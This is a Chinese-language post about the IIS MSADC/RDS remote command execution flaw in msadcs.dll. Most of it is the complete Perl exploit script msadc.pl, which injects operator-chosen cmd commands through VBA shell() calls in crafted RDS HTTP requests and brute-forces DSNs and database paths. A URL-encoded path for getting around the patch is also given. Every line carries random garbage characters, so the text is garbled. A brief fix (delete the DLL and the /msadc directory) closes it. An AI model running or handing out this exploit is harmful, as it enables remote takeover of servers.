IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
!N,Z3p>Q s~/]nz]"J 涉及程序:
1s\10 hK1c Microsoft NT server
W _b$E
= ( uOW5,e7 描述:
[CPZj*|b 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
fokT)nf~^8 g)$Pvfc 详细:
|[K7oa~# 如果你没有时间读详细内容的话,就删除:
K@n.$g c:\Program Files\Common Files\System\Msadc\msadcs.dll
NOx&`OU+ 有关的安全问题就没有了。
bS/` G0! g8XGZW! 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
=(v!pEF SX^fh. 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
94APjqV6' 关于利用ODBC远程漏洞的描述,请参看:
g) v"nNS n{BC m % http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ejo4mQ]a ErESk"2t 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
EFql
g9bK http://www.microsoft.com/security/bulletins/MS99-025faq.asp ?xQlX%&`6 d?N"NqaN 这里不再论述。
no?)GQ pw>AQ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
r
%0 U_}$QW0' /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
42p6l 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
?RpT_u #C+Gk4"w a
#@Q.wL #将下面这段保存为txt文件,然后: "perl -x 文件名"
--.j&w +1d\ZZA|6& #!perl
V"$t>pAG #
|B` -chK # MSADC/RDS 'usage' (aka exploit) script
C2<y(GU[Bh #
=V5.c+ # by rain.forest.puppy
.yTk/x? #
sF+0v p
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
I J4"X#Q/ # beta test and find errors!
%-A8`lf< 2zFdKs, use Socket; use Getopt::Std;
6S6nE%.3 getopts("e:vd:h:XR", \%args);
WP]<\_r2 HAO/r`7* print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
"rX=G= Ka_UVKwMro if (!defined $args{h} && !defined $args{R}) {
M8[YW|VkP print qq~
@O45s\4-* Usage: msadc.pl -h <host> { -d <delay> -X -v }
do[K-r -h <host> = host you want to scan (ip or domain)
^OBaVb -d <seconds> = delay between calls, default 1 second
W77JXD93 -X = dump Index Server path table, if available
&V=54n=O? -v = verbose
:ZL>JVk -e = external dictionary file for step 5
Vj2GK"$v xZ@Y`2A': Or a -R will resume a command session
22BJOh
H<1?<1^ ~; exit;}
#Ejly2C, $--PA$H27 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
:W1,s53 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
JA(nDD/; if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
MxdfuFss if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Xx'>5d> $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
y5Pw*?kn if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
gE
,j\M* JG( < if (!defined $args{R}){ $ret = &has_msadc;
w4x 8
Sre die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
mKsj7 Ki=7nKs print "Please type the NT commandline you want to run (cmd /c assumed):\n"
4|2$b:t . "cmd /c ";
VBH[aIW $in=<STDIN>; chomp $in;
`% ENGB| $command="cmd /c " . $in ;
O"#`i{^?2 %<M<'jxSca if (defined $args{R}) {&load; exit;}
/6q/`vx@ E`?BaCrG~ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
cEqh|Q &try_btcustmr;
z!3Z^d` rmabm\QY print "\nStep 2: Trying to make our own DSN...";
jSG
jv> &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
:%>8\q>UX M`>W'< print "\nStep 3: Trying known DSNs...";
KbUX(9+B &known_dsn;
@wFm])}0 Cfi2N V print "\nStep 4: Trying known .mdbs...";
D46|)- &known_mdb;
d|o"QYX I2W2B3D` c if (defined $args{e}){
Vks,3$ print "\nStep 5: Trying dictionary of DSN names...";
NDg]s2T &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
K[kmfXKu GDcV1$NA print "Sorry Charley...maybe next time?\n";
)_Oc=/c|f exit;
D/:)rj14b }cPV_^{ ##############################################################################
i&HV8&KygN :_aY:` sub sendraw { # ripped and modded from whisker
Dw#&x/G sleep($delay); # it's a DoS on the server! At least on mine...
e{}o:r my ($pstr)=@_;
8 6+>| socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
5o3_x ~e die("Socket problems\n");
L|Ydd!m if(connect(S,pack "SnA4x8",2,80,$target)){
sN g"JQ select(S); $|=1;
*C:+N> print $pstr; my @in=<S>;
A;|DQR() select(STDOUT); close(S);
uLCU3nI return @in;
u!-eP7;7 } else { die("Can't connect...\n"); }}
0*AlLwO |M?HdxPa ##############################################################################
@\h(s#sn Ue8D:CM sub make_header { # make the HTTP request
}O>Zu[8a my $msadc=<<EOT
;VuB8cnL` POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
,9pi9\S User-Agent: ACTIVEDATA
v8@dvT< Host: $ip
@i68%6H`? Content-Length: $clen
5&kR1Bp#- Connection: Keep-Alive
#
R&[+1=9j
vXvV5Oq ADCClientVersion:01.06
.Ep3~9TBW Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
-J30g\ FGH>;H@ --!ADM!ROX!YOUR!WORLD!
M/DTD98'N Content-Type: application/x-varg
:3t])mL# Content-Length: $reqlen
>ahj|pm j41:]6 EOT
z
K(5&u ; $msadc=~s/\n/\r\n/g;
NN:TT\!v return $msadc;}
;MMFF { >YfOR%mS4 ##############################################################################
L)+ eM&W U .Od sub make_req { # make the RDS request
=_H39)|T my ($switch, $p1, $p2)=@_;
{
&'TA my $req=""; my $t1, $t2, $query, $dsn;
l
xfdJNb #TWc` 8 if ($switch==1){ # this is the btcustmr.mdb query
nGbrWu]w $query="Select * from Customers where City=" . make_shell();
kW~F* $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
a82mC r $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
(J4utw Z d<Os TA elsif ($switch==2){ # this is general make table query
!LJ.L?9qw $query="create table AZZ (B int, C varchar(10))";
PsgzDhRv $dsn="$p1";}
UIl_&| TUaK:*x* elsif ($switch==3){ # this is general exploit table query
zEB1Br, $query="select * from AZZ where C=" . make_shell();
}j?S?= ;m= $dsn="$p1";}
zvf]}mNx -^b^ 6=# elsif ($switch==4){ # attempt to hork file info from index server
E5(Y*m! $query="select path from scope()";
%p9bl ,x $dsn="Provider=MSIDXS;";}
c6HU'%v , _$"6 elsif ($switch==5){ # bad query
tTt3D]h(
$query="select";
6.|~~/ $dsn="$p1";}
LU{Z wB)+og-^1f $t1= make_unicode($query);
is(!_Iv $t2= make_unicode($dsn);
95Qz1*TR $req = "\x02\x00\x03\x00";
p4'"Wk8 $req.= "\x08\x00" . pack ("S1", length($t1));
Q
8rtZ $req.= "\x00\x00" . $t1 ;
%wf|nnieZ $req.= "\x08\x00" . pack ("S1", length($t2));
p*0Ve21i, $req.= "\x00\x00" . $t2 ;
#CPP dU$ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
;}~=W!yz return $req;}
)sf~l6 {h"\JI! ##############################################################################
@__;RVQ Nd_@J& sub make_shell { # this makes the shell() statement
`I8^QcP return "'|shell(\"$command\")|'";}
ymZ/(:3_ ,}tdfkZFYl ##############################################################################
o"FiM5L^. Zir`IQ$ sub make_unicode { # quick little function to convert to unicode
SR&
mHI-f0 my ($in)=@_; my $out;
nvPE
N for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
D-GU"^-9 return $out;}
H/k W
:k n@;x!c< + ##############################################################################
&HK s > !C#RW=h9 sub rdo_success { # checks for RDO return success (this is kludge)
rcZ SC3 my (@in) = @_; my $base=content_start(@in);
eeU$uR if($in[$base]=~/multipart\/mixed/){
@MB _gt)7? return 1 if( $in[$base+10]=~/^\x09\x00/ );}
XKX,7 return 0;}
4Aew
)
$ rYS ##############################################################################
&=Zg0Q CFm1c1%Hg sub make_dsn { # this makes a DSN for us
HY4E my @drives=("c","d","e","f");
F2$bUY print "\nMaking DSN: ";
nb_^3K]r foreach $drive (@drives) {
2<G1'7) print "$drive: ";
q|X4[E|{Q my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
C94@YWs "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
nV3
7`
I . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
`4H9f&8( $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
A_Iu*pz^^ return 0 if $2 eq "404"; # not found/doesn't exist
!><
%\K if($2 eq "200") {
r`&|)Hx foreach $line (@results) {
{p|%hhTK% return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
/:`
i%E } return 0;}
WKl' kqW<e[ ##############################################################################
6b70w @P! 5ek%d sub verify_exists {
Sz|CreFK16 my ($page)=@_;
+.]}f}Y my @results=sendraw("GET $page HTTP/1.0\n\n");
uq4sbkP return $results[0];}
SrtVoe[ 7NB 9Vu|gD ##############################################################################
$p3Wjf:bH 5u_4lNJ& sub try_btcustmr {
+M##mRD my @drives=("c","d","e","f");
[4Faq3T" my @dirs=("winnt","winnt35","winnt351","win","windows");
@JEmybu CQHp4_ foreach $dir (@dirs) {
@CU|3Qg print "$dir -> "; # fun status so you can see progress
4spaw?j foreach $drive (@drives) {
nRB>[lG print "$drive: "; # ditto
$O e 58 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
%s2"W~ $reqlenlen=length( "$reqlen" );
;Uqx&5P} $clen= 206 + $reqlenlen + $reqlen;
g#bu_E61B X$ B]P7G7 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
G;HlII9x[ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
@k+G
Cf else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
:"P hkR ]KK ZbEO ##############################################################################
4A/,X>W61 %HF$ sub odbc_error {
!""!sFx)R my (@in)=@_; my $base;
zt)PZff/YQ my $base = content_start(@in);
3y=<w|4F if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
y8hg8J| $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Z!-<rajl $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
gZ"{{#:} $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
>3`ctbe return $in[$base+4].$in[$base+5].$in[$base+6];}
nqxq@.L2 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
BgWz<k}5M print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
e#6&uFce $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
8gtCY~m 3.<6;? ##############################################################################
kE_@5t7O{
HS`bto0* sub verbose {
i9\\evJs my ($in)=@_;
ZC5Yve8 return if !$verbose;
^s@*ISY print STDOUT "\n$in\n";}
;2Ad]) ju^"vw ##############################################################################
TFC!u0Y"$ rZ.a>'T4 sub save {
2b4pOM7W my ($p1, $p2, $p3, $p4)=@_;
J7?)$,ij% open(OUT, ">rds.save") || print "Problem saving parameters...\n";
]v@ tZ} print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
rF'^w56 close OUT;}
R'9@A\7# IN|i)?rh ##############################################################################
JQ@`EV9, 9<A\npD sub load {
v!#`W my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
B!r48<p open(IN,"<rds.save") || die("Couldn't open rds.save\n");
pl#o!j( i @p=<IN>; close(IN);
^wO_b'@v $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
PF'5z#] NP $target= inet_aton($ip) || die("inet_aton problems");
1&% d print "Resuming to $ip ...";
hdf8U $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
eY4`k if($p[1]==1) {
SfZ=%6b7 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
1>@]@ST[: $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
38U5^` my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
2u~c/JryN if (rdo_success(@results)){print "Success!\n";}
[t else { print "failed\n"; verbose(odbc_error(@results));}}
|.8d,!5w} elsif ($p[1]==3){
kg?T$}O if(run_query("$p[3]")){
}r~v,KDb print "Success!\n";} else { print "failed\n"; }}
ll(e,9.D elsif ($p[1]==4){
O&3r*vd if(run_query($drvst . "$p[3]")){
A )RI:?+ print "Success!\n"; } else { print "failed\n"; }}
6t_ 3%{ exit;}
b>bgUDq uq|vNLW26 ##############################################################################
Lov.E3S6; %89"A'g sub create_table {
P )t]bS my ($in)=@_;
n~,]KdU] $reqlen=length( make_req(2,$in,"") ) - 28;
8sR $reqlenlen=length( "$reqlen" );
EFRZ% Y $clen= 206 + $reqlenlen + $reqlen;
B;z>Dd,Y_x my @results=sendraw(make_header() . make_req(2,$in,""));
Krp
<bK6 return 1 if rdo_success(@results);
Zr.\`mG4f my $temp= odbc_error(@results); verbose($temp);
vNC$f(cQ return 1 if $temp=~/Table 'AZZ' already exists/;
h{W$ fZc< return 0;}
Y|m_qB^_ qD(fYOX{C ##############################################################################
rysP)e )e|$K=
D sub known_dsn {
[ GR|$/(z= # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
FtFv<UV my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
C`NBHRa> "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
s`Yu"s
8}4 "banner", "banners", "ads", "ADCDemo", "ADCTest");
5U-p'c9IC >J^7}J foreach $dSn (@dsns) {
QH7V_#6bKP print ".";
Jb3>vCIn next if (!is_access("DSN=$dSn"));
9<t9a
f\.> if(create_table("DSN=$dSn")){
J|gdO+ print "$dSn successful\n";
Ei{( if(run_query("DSN=$dSn")){
a%Z4_ToLZ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
VQy9Y print "Something's borked. Use verbose next time\n";}}} print "\n";}
M.xhVgFf) Hi; K"H]x1 ##############################################################################
]k'#g Z$ #MhNdH# sub is_access {
lBlSNDs my ($in)=@_;
|t4Gz1"q=8 $reqlen=length( make_req(5,$in,"") ) - 28;
2?Pt Z $reqlenlen=length( "$reqlen" );
'A@qg^e:` $clen= 206 + $reqlenlen + $reqlen;
g[#k.CuP my @results=sendraw(make_header() . make_req(5,$in,""));
'DCKD4@C/ my $temp= odbc_error(@results);
}zkL[qu; verbose($temp); return 1 if ($temp=~/Microsoft Access/);
c!\.[2n return 0;}
jw/'*e qs6Nb'JvQR ##############################################################################
935-{h@k MB]#%g& sub run_query {
U6c)"^\ my ($in)=@_;
gt
=j5 $reqlen=length( make_req(3,$in,"") ) - 28;
pau*kMu^} $reqlenlen=length( "$reqlen" );
tJUVw= $clen= 206 + $reqlenlen + $reqlen;
{E3xI2 my @results=sendraw(make_header() . make_req(3,$in,""));
<O \tC81 return 1 if rdo_success(@results);
6Gs{nFw my $temp= odbc_error(@results); verbose($temp);
]regi- LGU return 0;}
z$9@j2
'ox0o: ##############################################################################
cJxW;WI!, d{QMST2& sub known_mdb {
&_"ORqn& my @drives=("c","d","e","f","g");
^y&q5p jj my @dirs=("winnt","winnt35","winnt351","win","windows");
;\<""Yj@l my $dir, $drive, $mdb;
\p5|}<Sr) my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
zb"rMzCH %==G+S{ # this is sparse, because I don't know of many
N7e`6d! my @sysmdbs=( "\\catroot\\icatalog.mdb",
<\ y!3; "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
k0H?9Z4k5 "\\system32\\certmdb.mdb",
44\!PYf7 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
6N9 c<JC b->eg 8| my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
W*YxBn4 "\\cfusion\\cfapps\\forums\\forums_.mdb",
lemVP'cn "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
pTcbq "\\cfusion\\cfapps\\security\\realm_.mdb",
*-?Wcz "\\cfusion\\cfapps\\security\\data\\realm.mdb",
EfFz7j&X "\\cfusion\\database\\cfexamples.mdb",
Yuwc$Qp) "\\cfusion\\database\\cfsnippets.mdb",
7#~4{rjg "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
j(0Ilx|7v "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
cwk+#ur "\\cfusion\\brighttiger\\database\\cleam.mdb",
)D:9R)m "\\cfusion\\database\\smpolicy.mdb",
6D/uo$1Y "\\cfusion\\database\cypress.mdb",
*,"jF!C&[ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
25aNC;J "\\website\\cgi-win\\dbsample.mdb",
JDkCUN 5 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
SXQ@;=]xV "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
cb+l"FI7 ); #these are just
7e1dEgn foreach $drive (@drives) {
z<a$q3!# foreach $dir (@dirs){
I`22Zwq: foreach $mdb (@sysmdbs) {
T36x=LX print ".";
8QT<M]N% if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
St6aYK print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
C`dkD0_ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
( : print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
A'GlCp } else { print "Something's borked. Use verbose next time\n"; }}}}}
5gSylts8 34z_+
foreach $drive (@drives) {
"\7 v
foreach $mdb (@mdbs) {
yB.G=90 print ".";
IrJ+Jov if(create_table($drv . $drive . $dir . $mdb)){
gdl| ^*tc print "\n" . $drive . $dir . $mdb . " successful\n";
>L8?=>>?\ if(run_query($drv . $drive . $dir . $mdb)){
os[ZIHph print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
L~IE,4 } else { print "Something's borked. Use verbose next time\n"; }}}}
H#+\nT2m }
jk )Vb 3S5^`Ag# ##############################################################################
@|BD|{k uG;?vvg> sub hork_idx {
4:D:| r print "\nAttempting to dump Index Server tables...\n";
b6|Z"{TI
_ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
&M[MEO`t8 $reqlen=length( make_req(4,"","") ) - 28;
)Nbc/nB$ $reqlenlen=length( "$reqlen" );
_m Xs4 $clen= 206 + $reqlenlen + $reqlen;
%4,xx'` my @results=sendraw2(make_header() . make_req(4,"",""));
Rv,82iEKs if (rdo_success(@results)){
qYK4)JP my $max=@results; my $c; my %d;
@M=$qO_$9 for($c=19; $c<$max; $c++){
!x7o|l|cP $results[$c]=~s/\x00//g;
\]I $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
8"x9#kyU<3 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
(_K_`5d;QI $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
Tp?-*K $d{"$1$2"}="";}
X'f)7RbT foreach $c (keys %d){ print "$c\n"; }
\b$<J.3 } else {print "Index server doesn't seem to be installed.\n"; }}
5X0QxnnV W"Z#Fs{n8 ##############################################################################
'G8 ?'u_) 1SUzzlRx sub dsn_dict {
ll%G!VR open(IN, "<$args{e}") || die("Can't open external dictionary\n");
sm while(<IN>){
)|pU.K9qZ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
JdiP>KXV next if (!is_access("DSN=$dSn"));
Yrxk Kw# if(create_table("DSN=$dSn")){
LKx` v90p print "$dSn successful\n";
G=|70pxU if(run_query("DSN=$dSn")){
:k~dj C print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
:=9< print "Something's borked. Use verbose next time\n";}}}
tw<P)V\h print "\n"; close(IN);}
/g@^H/DO K\(6rS}N ##############################################################################
7(C x!Yb lm$;:Roj* sub sendraw2 { # ripped and modded from whisker
P`EgA sleep($delay); # it's a DoS on the server! At least on mine...
#-{N
Ws\ my ($pstr)=@_;
T`\]!>eb socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
L+.H z&*@ die("Socket problems\n");
M\9F:.t= if(connect(S,pack "SnA4x8",2,80,$target)){
cvfUyp;P print "Connected. Getting data";
h=6xZuA\ open(OUT,">raw.out"); my @in;
F+ukAT
select(S); $|=1; print $pstr;
Q_]~0PoH while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
Ux}W&K/?' close(OUT); select(STDOUT); close(S); return @in;
B`{mdjMy } else { die("Can't connect...\n"); }}
1[-vD= `*aBRwvK~ ##############################################################################
Lc]1$ 2JZdw sub content_start { # this will take in the server headers
fQU{SjG my (@in)=@_; my $c;
tuxRVV8l for ($c=1;$c<500;$c++) {
NEVp8)w if($in[$c] =~/^\x0d\x0a/){
s?c JV` if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
5/?P|T else { return $c+1; }}}
OxQYNi2 return -1;} # it should never get here actually
6\n?48x} zTY;8r+ ##############################################################################
mj2Pk,,SA Nqcp1J" sub funky {
z)}!e,7 my (@in)=@_; my $error=odbc_error(@in);
9i=B if($error=~/ADO could not find the specified provider/){
? %(spV print "\nServer returned an ADO miscofiguration message\nAborting.\n";
}G'XkoI& exit;}
ubbnFE&PD if($error=~/A Handler is required/){
GoIQ>n print "\nServer has custom handler filters (they most likely are patched)\n";
O~PChUU*Y exit;}
0Z
HDBh if($error=~/specified Handler has denied Access/){
&94W-zh print "\nServer has custom handler filters (they most likely are patched)\n";
c-B/~& exit;}}
R0wf#%97 aQUGNa0+d ##############################################################################
pOA!#Aj) BpH%STEN sub has_msadc {
VEs5;]#<2D my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
G\=_e8( my $base=content_start(@results);
,lm=M5b return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Z\ )C_p\- return 0;}
%;|0 d1]i,C~Y ########################
H0>yi[2f f~ZEdq8 fu4!t31 解决方案:
0V`[Zgf 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
dv!r. 2、移除web 目录: /msadc